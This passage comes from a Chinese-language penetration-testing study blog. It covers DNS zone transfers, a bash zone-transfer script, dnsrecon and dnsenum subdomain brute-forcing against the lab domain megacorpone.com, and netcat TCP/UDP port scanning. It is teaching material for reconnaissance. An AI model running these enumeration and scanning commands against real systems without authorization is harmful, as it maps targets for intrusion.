&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;137&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; max_count = domain_count[d]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;138&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; max_domain = d
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;139&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;140&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;141&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; printf &amp;#34;主域名: %s\n出现次数: %d\n&amp;#34;, max_domain, max_count
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;142&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;143&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;144&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 主域名关联的完整域名（美观格式）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;145&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; -e &lt;span class="s2"&gt;&amp;#34;\n\033[1;34m主域名关联的完整域名:\033[0m&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;146&lt;/span&gt;&lt;span class="cl"&gt; awk -F, &lt;span class="s1"&gt;&amp;#39;BEGIN {print &amp;#34;开始收集域名...&amp;#34;} 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;147&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; NR&amp;gt;1 &amp;amp;&amp;amp; $2 != &amp;#34;&amp;#34; {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;148&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; n = split($2, parts, &amp;#34;.&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;149&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; if (n &amp;gt; 1) {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;150&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; main_domain = parts[n-1] &amp;#34;.&amp;#34; parts[n]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;151&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; if (!(main_domain in domain_list)) {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;152&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; domain_list[main_domain] = $2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;153&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; } else {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;154&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; domain_list[main_domain] = domain_list[main_domain] &amp;#34;,&amp;#34; $2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;155&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;156&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; # print &amp;#34;收集: &amp;#34; $2 &amp;#34; -&amp;gt; &amp;#34; main_domain
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;157&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;158&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; } END {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;159&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; print &amp;#34;收集完成，开始输出...&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;160&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; for (d in domain_list) {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;161&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; printf &amp;#34;%s:%s\n&amp;#34;, d, domain_list[d]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;162&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;163&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &amp;gt; /tmp/domain_groups.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;164&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;165&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;: &lt;span class="nb"&gt;read&lt;/span&gt; -r domain_group domains&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;166&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; -e &lt;span class="s2"&gt;&amp;#34;\033[1;32m&lt;/span&gt;&lt;span class="nv"&gt;$domain_group&lt;/span&gt;&lt;span class="s2"&gt;:\033[0m&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;167&lt;/span&gt;&lt;span class="cl"&gt; pretty_print_domains &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$domains&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;168&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;done&lt;/span&gt; &amp;lt; /tmp/domain_groups.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;169&lt;/span&gt;&lt;span class="cl"&gt; rm -f /tmp/domain_groups.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;170&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;171&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;172&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 根据文件类型执行相应处理&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;173&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$FILE_TYPE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; in
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;174&lt;/span&gt;&lt;span class="cl"&gt; subdomain&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;175&lt;/span&gt;&lt;span class="cl"&gt; process_subdomain &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$INPUT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;176&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;177&lt;/span&gt;&lt;span class="cl"&gt; reverse&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;178&lt;/span&gt;&lt;span class="cl"&gt; process_reverse &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$INPUT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;179&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;180&lt;/span&gt;&lt;span class="cl"&gt; *&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;181&lt;/span&gt;&lt;span class="cl"&gt; die &lt;span class="s2"&gt;&amp;#34;未知文件类型&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;182&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;183&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;esac&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;184&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;185&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; -e &lt;span class="s2"&gt;&amp;#34;\n\033[1;32m分析完成!\033[0m&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250704154202241" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704154202241.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704154236432" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704154236432.png"&gt;&lt;/p&gt;
&lt;h3 id="区域传输"&gt;区域传输
&lt;/h3&gt;&lt;p&gt;DNS区域传输基本上是相关DNS服务器之间的数据库复制，其中区域文件从主DNS服务器复制到从DNS服务器。区域文件包含所有DNS的列表为该区域配置的名称。区域传输应该只允许授权的从DNS但是许多管理员错误地配置了他们的DNS服务器，在这些情况下，任何人都问DNS服务器区域通常会收到一个副本。这相当于把公司的网络布局放在硬盘上交给黑客。所有的名字，服务器的地址和功能可能会暴露在窥探者的视线之下。成功的区域传输不会直接导致网络破坏，尽管它确实有助于这个过程（主要是信息泄露）。执行分区传输的host命令语法如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;host -l megacorpone.com ns1.megacorpone.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250704161024103" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704161024103.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704161118966" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704161118966.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到ns2是有区域传输漏洞的。&lt;/p&gt;
&lt;p&gt;此服务器允许区域传输，并提供区域文件的完整转储megacorpone.com域名，提供方便的IP地址列表和相应的DNS主机名!
megacorpone.com域需要检查的DNS服务器非常少。然而，一些较大的组织可能托管许多DNS服务器，或者我们可能想要尝试区域传输请求针对给定域中的所有DNS服务器。Bash脚本可以帮助完成这项任务。要尝试使用host命令进行区域传输，我们需要两个参数：名称服务器地址和域名。我们可以使用以下命令获取给定域的名称服务器命令:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;host -t ns megacorpone.com &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt; -f &lt;span class="m"&gt;4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Simple Zone Transfer Bash Script&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# $1 is the first argument given after the bash script&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Check if argument was given, if not, print usage&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -z &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;[*] Simple Zone transfer script&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;[*] Usage : &lt;/span&gt;&lt;span class="nv"&gt;$0&lt;/span&gt;&lt;span class="s2"&gt; &amp;lt;domain name&amp;gt; &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# if argument was given, identify the DNS servers for the domain&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; server in &lt;span class="k"&gt;$(&lt;/span&gt;host -t ns &lt;span class="nv"&gt;$1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt; -f4&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# For each of these servers, attempt a zone transfer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; host -l &lt;span class="nv"&gt;$1&lt;/span&gt; &lt;span class="nv"&gt;$server&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt;grep &lt;span class="s2"&gt;&amp;#34;has address&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250704161503372" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704161503372.png"&gt;&lt;/p&gt;
&lt;h3 id="kali自带的dns枚举工具"&gt;Kali自带的DNS枚举工具
&lt;/h3&gt;&lt;h4 id="dnsrecon"&gt;DNSrecon
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo apt update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; sudo apt install dnsrecon -y
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;dnsrecon -h
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;dnsrecon -d megacorpone.com
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;dnsrecon -d megacorpone.com -t brt -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt &lt;span class="c1"&gt;# 子域名暴力破解&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;dnsrecon -r 167.114.21.0-167.114.21.255 &lt;span class="c1"&gt;# 反向爆破&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;dnsrecon -d megacorpone.com -t axfr &lt;span class="c1"&gt;# 区域传送漏洞检测&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250704155104574" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704155104574.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704155333382" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704155333382.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704155750077" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704155750077.png"&gt;&lt;/p&gt;
&lt;h4 id="dnsenum"&gt;DNSenum
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;dnsenum zonetransfer.me
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;dnsenum -f /usr/share/wordlists/dnsmap.txt megacorpone.com
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;dnsenum -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt megacorpone.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250704161853778" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704161853778.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704161932638" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704161932638.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704162035353" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704162035353.png"&gt;&lt;/p&gt;
&lt;h3 id="7163练习"&gt;7.1.6.3练习
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;查找megacorpone.com域的DNS服务器。&lt;/li&gt;
&lt;li&gt;编写一个小脚本，尝试使用更高级别从megacorpone.com进行区域传输，脚本语言，如Python、Perl或Ruby。&lt;/li&gt;
&lt;li&gt;重新创建上面的示例，并使用dnsrecon尝试从megacorpone.com。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="2改写小脚本"&gt;2.改写小脚本
&lt;/h4&gt;&lt;p&gt;完整脚本可以关注我公众号后台回复关键字领取。&lt;/p&gt;
&lt;p&gt;python使用示例：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# 基本用法
python3 subdomain_finder.py megacorpone.com

# 自定义字典和输出
python3 subdomain_finder.py megacorpone.com \
 -w custom.txt \
 -o results.csv
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250704164742029" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704164742029.png"&gt;&lt;/p&gt;
&lt;h2 id="端口扫描"&gt;端口扫描
&lt;/h2&gt;&lt;p&gt;端口扫描是检查远程计算机上的TCP或UDP端口的过程，目的是检测目标上正在运行的服务以及可能存在的潜在攻击媒介。&lt;/p&gt;
&lt;p&gt;在一些网络基础设施落后的国家，简单的扫描就有可能导致网站崩溃（DDOS），所以一些国家将扫描视为违法行为。在中国大多数云服务器都能抗住普通扫描的流量。&lt;/p&gt;
&lt;h3 id="tcpudp扫描使用nc"&gt;TCP/UDP扫描使用NC
&lt;/h3&gt;&lt;h4 id="tcp扫描"&gt;TCP扫描
&lt;/h4&gt;&lt;p&gt;最简单的TCP端口扫描技术通常称为CONNECT扫描，它依赖于三向TCP握手195机制。设计此机制是为了使两个尝试进行通信的主机可以在传输任何数据之前协商网络TCP套接字连接的参数。在没有专门的扫描工具的时候，也可以使用Netcat来改造一下。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; nc -nv -w &lt;span class="m"&gt;1&lt;/span&gt; -z 192.168.1.1 3388-3390
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; sudo tshark -i eth0 -f &lt;span class="s2"&gt;&amp;#34;tcp portrange 3388-3390&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250706211802190" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250706211802190.png"&gt;&lt;/p&gt;
&lt;h4 id="udp扫描"&gt;UDP扫描
&lt;/h4&gt;&lt;p&gt;由于UDP是无状态的，并且不涉及三向握手，因此UDP端口扫描的机制不同于TCP。udp是无状态尽力传输协议，没有三次握手机制，使用针对协议的udp扫描提高准确度，发送udp空包，端口开放服务器无响应，端口关闭返回icmp端口不可达。此机制扫描结果不完全准确，但是很多攻击向量（应用处理异常，FW过滤icmp包），而且nc很小，主要是在内网收到限制的时候使用。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc -nv -u -z -w &lt;span class="m"&gt;1&lt;/span&gt; 192.168.1.1 160-162
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sudo tshark -i eth0 -f &lt;span class="s2"&gt;&amp;#34;udp portrange 160-162&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250706212138123" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250706212138123.png"&gt;&lt;/p&gt;
&lt;h3 id="nmap端口扫描"&gt;Nmap端口扫描
&lt;/h3&gt;&lt;p&gt;虽然Nmap扫描功能很强大，但是很多的nmap扫描选项需要访问 raw sockets，因此需要sudo执行，否则扫描能力受限。很多防火墙都对Nmap做了限制。&lt;/p&gt;
&lt;p&gt;对防火墙设置一些规则，来观察Nmap产生的流量有多大。&lt;/p&gt;
&lt;h4 id="步骤-1设置防火墙规则允许特定-ip-通行"&gt;&lt;strong&gt;步骤 1：设置防火墙规则（允许特定 IP 通行）&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;sudo iptables -I INPUT 1 -s 38.100.193.70 -j ACCEPT
